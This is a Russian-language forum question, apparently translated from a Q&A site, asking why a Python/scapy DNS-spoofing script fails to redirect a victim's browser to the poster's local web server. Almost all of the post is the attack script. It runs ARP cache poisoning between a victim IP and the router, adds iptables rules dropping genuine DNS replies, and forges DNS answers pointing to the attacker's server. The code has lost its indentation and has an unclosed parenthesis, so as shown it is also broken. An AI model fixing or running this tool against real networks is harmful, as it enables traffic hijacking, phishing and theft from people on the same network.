Я использую python3 для создания базового c DNS-спуфингового приложения, которое распознает HTML DNS-запрос и ответит специально созданным ответом на мой собственный локально размещенный веб-сайт. Однако я не уверен, как заставить его перенаправить веб-сайт на локально размещенный. Я запустил программу, открыл браузер, и он показывает ответы, но он идет на любой веб-сайт, который я набрал, а не на мой локально размещенный. По сути, я не уверен, что я пропустил или испортил.
Вот как это выглядит в настоящее время:
import socket
import sys
import threading
import fcntl
import signal
import time
import nmap
from scapy.all import *
import netifaces as nif
try:
victimIP = input("Victim IP: ")
routerIP = input("Router IP: ")
spoofIP = input("Webserver IP: ")
except KeyboardInterrupt:
print ("\n[*] User Requested Shutdown")
print ("[*] Exiting...")
sys.exit(1)
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
os.system("iptables -A FORWARD -p udp --sport 53 -d" + victimIP + " -j DROP")
os.system("iptables -A FORWARD -p tcp --sport 53 -d" + victimIP + " -j DROP")
def signal_handler(signal, frame):
os.kill(os.getpid(), signal)
def get_ip_address():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('8.8.8.8', 1))
return s.getsockname()[0]
def iface_for_ip(ip):
for iface in nif.interfaces():
addrs = nif.ifaddresses(iface)
try:
iface_mac = str(addrs[nif.AF_LINK][0]['addr'])
iface_ip = str(addrs[nif.AF_INET][0]['addr'])
except KeyError:
iface_mac = iface_ip = None
if iface_ip == ip:
return iface
return None
def mac_for_ip(ip):
interface = iface_for_ip(ip)
conf.verb = 0
ans, unans = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = ip), timeout = 2, iface = interface, inter = 0.1)
for snd,rcv in ans:
return str(rcv.sprintf(r"%Ether.src%"))
my_ip = get_ip_address()
my_mac = mac_for_ip(my_ip)
target_mac = mac_for_ip(victimIP)
router_mac = mac_for_ip(routerIP)
def initialize():
victim_packet = Ether(
src=my_mac,
dst=target_mac
)/ARP(
hwsrc=my_mac,
hwdst=target_mac,
psrc=routerIP,
pdst=victimIP,
op=2
)
router_packet = Ether(
src=my_mac,
dst=router_mac
)/ARP(
hwsrc=my_mac,
hwdst=router_mac,
psrc=victimIP,
pdst=routerIP,
op=2
)
#filter_string = 'udp and port 53 and src ' + victimIP
filter_string = 'udp and port 53'
sniffThrd = threading.Thread(target=sniff_thread, args=(filter_string,))
thrd = threading.Thread(target=arp_thread, args=(victim_packet, router_packet))
sniffThrd.start()
thrd.start()
sniffThrd.join(1)
thrd.join(1)
def arp_thread(victim_packet, router_packet):
while 1:
time.sleep(1.5)
sendp(victim_packet, verbose=0)
sendp(router_packet, verbose=0)
def sniff_thread(filter_string):
sniff(prn=process_dns, filter=filter_string, store=0
def process_dns(pkt):
if ('DNS' in pkt and pkt['DNS'].opcode == 0 and pkt['DNS'].ancount == 0 and pkt['IP'].src != get_ip_address()):
#print 'dns request'
pkt.show()
spfResp = IP(dst=pkt[IP].src, src=pkt[IP].dst) \
/ UDP(dport=pkt[UDP].sport, sport=53) \
/ DNS(id=pkt[DNS].id, qr=1, \
qd=DNSQR(qname=pkt[DNSQR].qname),\
an=DNSRR(rrname=pkt[DNSQR].qname, rdata=spoofIP, ttl=3600))
send(spfResp, verbose=0)
return "Spoofed DNS Response Sent"
if __name__ == "__main__":
signal.signal(signal.SIGINT, signal_handler)
try:
initialize()
except KeyboardInterrupt:
exit = True
raise